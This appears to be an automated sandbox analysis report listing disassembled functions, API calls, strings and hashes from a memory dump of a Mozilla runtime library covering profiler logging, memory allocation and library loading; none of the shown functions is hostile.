Opcode ID: e4718a2bd09f027f06cf7776653f5f81e8dbf81dc701c73854ce8e193cc70d2c
Instruction ID: f80fd02daa475277984bf2ca7e4be342debeed8768b67bb03c4de364ee1c0f8d
Opcode Fuzzy Hash: e4718a2bd09f027f06cf7776653f5f81e8dbf81dc701c73854ce8e193cc70d2c
Instruction Fuzzy Hash: A42192742007429FDB18DB64D888A5AB7B5BF4430DF18482DE95BC3B41DB31F99ACB91

Function 6CA6B7A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA6B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA6B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA6B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA6B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6B849

Strings

D($/, xrefs: 6CA6B7AC

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID: D($/
API String ID: 1977084945-324952136
Opcode ID: ee793d4640c1b10ea6a59f493066cca276ca202f7c2c2d8cbb07fc784fbf37ff
Instruction ID: db45426c31916425cf9dab9e7f73413cd37c7820f3d3985f42576dffdfb62187
Opcode Fuzzy Hash: ee793d4640c1b10ea6a59f493066cca276ca202f7c2c2d8cbb07fc784fbf37ff
Instruction Fuzzy Hash: 25212BB4E003099FDF04DFA9D8855BEBBB4EF49618F148129E815A7741E731A984CBE1

Function 6CAC6E50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAC6E78

Part of subcall function 6CAC6A10: InitializeCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6A68
Part of subcall function 6CAC6A10: GetCurrentProcess.KERNEL32 ref: 6CAC6A7D
Part of subcall function 6CAC6A10: GetCurrentProcess.KERNEL32 ref: 6CAC6AA1
Part of subcall function 6CAC6A10: EnterCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6AAE
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAC6AE1
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAC6B15
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAC6B65
Part of subcall function 6CAC6A10: LeaveCriticalSection.KERNEL32(6CAEF618,?,?), ref: 6CAC6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAC6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAC6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAC6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CAC6EFF

Strings

D($/, xrefs: 6CAC6E5F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID: D($/
API String ID: 4058739482-324952136
Opcode ID: 9f13fe88519561103480e37c8c261ef223226b614d79455963949cf03b5099b6
Instruction ID: 6876670ee12b4ce224d01cb95e01a73c26302fdf29044b2f3bfc9f1aecd313e2
Opcode Fuzzy Hash: 9f13fe88519561103480e37c8c261ef223226b614d79455963949cf03b5099b6
Instruction Fuzzy Hash: 5021A471A0431A9FDF14CF69D8856AA77F5EF88308F048539E80997341DB709A998F92

Function 6CAAF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAAF598), ref: 6CAAF621

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF637
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF645
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAAF62A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 57516c56651a07e68863e85ed88dbe092251c8c1287d12651b85f8f2f60e7604
Instruction ID: eff2e3e5930591064ac3c948af630e9daa03dc09631a19bd3a954975d4021092
Opcode Fuzzy Hash: 57516c56651a07e68863e85ed88dbe092251c8c1287d12651b85f8f2f60e7604
Instruction Fuzzy Hash: E111A775201306AFCB48AF98ED489E57779FB8A358B14441AEA0587F01CB72A857CBE4

Function 6CA71FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CA71FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CA71FFD
__Init_thread_footer.LIBCMT ref: 6CA72011
FreeLibrary.KERNEL32 ref: 6CA72059

Strings

combase.dll, xrefs: 6CA71FD9
CoCreateInstance, xrefs: 6CA71FF7

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ea3e866ac74dc376b48fe327055a94c75b4934d47af68b3d2810e8b715e60c31
Instruction ID: 50e9e11d048999accf59727ab145fe70dbf785a828f5f913166dd3b56dc85104
Opcode Fuzzy Hash: ea3e866ac74dc376b48fe327055a94c75b4934d47af68b3d2810e8b715e60c31
Instruction Fuzzy Hash: 05114A78241306EFDF688F15EC4DE9A3B79FB5A355F048129E90682640C7309982EFF0

Function 6CA70EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA9D9F0,00000000), ref: 6CA70F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA70F3C
__Init_thread_footer.LIBCMT ref: 6CA70F50
FreeLibrary.KERNEL32(?,6CA9D9F0,00000000), ref: 6CA70F86

Strings

combase.dll, xrefs: 6CA70F18
CoInitializeEx, xrefs: 6CA70F36

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 75451bf68291b0130c44c3161204de59a6df09f920cc37a7b76e6df6f9db6ff1
Instruction ID: d6082ba6c98add7454cca8a781fb05091698fd739e9f4f3e9b86ab14eaf92ce1
Opcode Fuzzy Hash: 75451bf68291b0130c44c3161204de59a6df09f920cc37a7b76e6df6f9db6ff1
Instruction Fuzzy Hash: C21191786013429BEF58CF98ED08A5637B4FB9E325F04C22DE90582640D731A886EBF5

Function 6CAAF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF561

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF585
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CAAF499
[I %d/%d] profiler_resume, xrefs: 6CAAF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAAF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CAAF3A8
D($/, xrefs: 6CAAF07C, 6CAAF1BA, 6CAAF32A, 6CAAF41A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling$D($/
API String ID: 2848912005-2650460947
Opcode ID: d7dc5d74d2171282c3f4979d75e9c6d90d56870e614beff4a9bb122523fdeb93
Instruction ID: 3a249616ba2c924468dd52788d7917f6c9d7e975c2838c1215f064a929625615
Opcode Fuzzy Hash: d7dc5d74d2171282c3f4979d75e9c6d90d56870e614beff4a9bb122523fdeb93
Instruction Fuzzy Hash: 86F0BB756003029FDB445BA5AC4C9597B7CEB8D25DF008519EA0583701DB32484797E4

Function 6CAAF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAAF598), ref: 6CAAF621

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF637
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF645
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAAF62A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: c007c8e2efab1a09eecf51382022e5a4b9fe00c1a4f9fe353bc81706bcf7e18d
Instruction ID: c05999fc3f6565bc6263fa4b4be3009e0cbd3fc1bceacfb7d59e9d074106fd8f
Opcode Fuzzy Hash: c007c8e2efab1a09eecf51382022e5a4b9fe00c1a4f9fe353bc81706bcf7e18d
Instruction Fuzzy Hash: 4EF0B475200301AFDB486BA4AC4CAAA7B7DEB8E29DF008519EA0583711CB36484797F8

Function 6CA70E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA70DF8), ref: 6CA70E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA70EA1
__Init_thread_footer.LIBCMT ref: 6CA70EB5
FreeLibrary.KERNEL32 ref: 6CA70EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CA70E9B
kernel32.dll, xrefs: 6CA70E7D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 13aba989d4ff0ef34e9add52c517551cefa21d7569b74296edad9a66ab149a38
Instruction ID: b304ade39056c659689af145d31b053c3944c939e34a1167f8961746bba1523f
Opcode Fuzzy Hash: 13aba989d4ff0ef34e9add52c517551cefa21d7569b74296edad9a66ab149a38
Instruction Fuzzy Hash: DA014F74B00383CBDF54AFDAFD58A4233B5F74E314F14852DD90182B40D731A886ABA5

Function 6CAA05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA9CFAE,?,?,?,6CA631A7), ref: 6CAA05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA9CFAE,?,?,?,6CA631A7), ref: 6CAA0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA631A7), ref: 6CAA061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA631A7), ref: 6CAA0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAA061B, 6CAA0625
<jemalloc>, xrefs: 6CAA05FA, 6CAA060F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: fcec71cbdd816bfaf3b99d12777026c6dc7e8cbc5eb83facb9f8b7cefe3b69f0
Instruction ID: 17de2b0d822072779722248039592bb9d65e0590a151d490b1f36617d969af95
Opcode Fuzzy Hash: fcec71cbdd816bfaf3b99d12777026c6dc7e8cbc5eb83facb9f8b7cefe3b69f0
Instruction Fuzzy Hash: 8EE08CE2A0111037F514225ABC8ADBBB71CDBC6138F090139FD0D82301E94ABD1E52F6

Function 6CABDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CABD38A,?), ref: 6CABDC6F
free.MOZGLUE(?,?,?,?,?,6CABD38A,?), ref: 6CABDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CABD38A,?), ref: 6CABDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CABD38A,?), ref: 6CABDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CABD38A,?), ref: 6CABDD4A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a18111a0d7e4f9c20e02b762c5f451720ca33f083325df69783b04d5cd45c817
Instruction ID: b87d46a62c2f96e1a0732b7d365b635ecfc31a697e7367e6fbe522f2d2214240
Opcode Fuzzy Hash: a18111a0d7e4f9c20e02b762c5f451720ca33f083325df69783b04d5cd45c817
Instruction Fuzzy Hash: 114169B5A00306CFCB00CFA9C9809AAB7F9FF89318B594569D946ABB15D731FC44CB90

Function 6CAB0C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB0CD5

Part of subcall function 6CA9F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA9F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB0D40
free.MOZGLUE ref: 6CAB0DCB

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

free.MOZGLUE ref: 6CAB0DDD
free.MOZGLUE ref: 6CAB0DF2

Strings

D($/, xrefs: 6CAB0CA2

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: D($/
API String ID: 4069420150-324952136
Opcode ID: 9b57ea94396f0904109334c3794d5ea081ae810e8654fe83e94bd3c3a23b3d9f
Instruction ID: c7210dc63c32f1efa47e028c0f045bb6beb4e3ff2c20139484f91024bea911ed
Opcode Fuzzy Hash: 9b57ea94396f0904109334c3794d5ea081ae810e8654fe83e94bd3c3a23b3d9f
Instruction Fuzzy Hash: 07413CB19087809BD720CF29C14079AFBE5BFC9714F118A1EE8D897750D770A489CB92

Function 6CA71720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CA718EE
free.MOZGLUE(?), ref: 6CA71911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7194C

Strings

D($/, xrefs: 6CA7172B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID: D($/
API String ID: 3725304770-324952136
Opcode ID: 9911ea39d0ae4631cfa8f81afd241e4d70ac226a72fa442632baaa000824987c
Instruction ID: f829d2d16f517616ab7b0d2111e5a977d9db459017b88abd4f8b49c5b45a3211
Opcode Fuzzy Hash: 9911ea39d0ae4631cfa8f81afd241e4d70ac226a72fa442632baaa000824987c
Instruction Fuzzy Hash: E581D374A103059FCB18CFA9D8A49AEBBF1FF89314F04452CE915AB754D730E989CBA1

Function 6CAC1700 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAC1800

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CAC18C7
Details, xrefs: 6CAC1925
name, xrefs: 6CAC1939
D($/, xrefs: 6CAC1708, 6CAC183C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}$D($/
API String ID: 46770647-2546983216
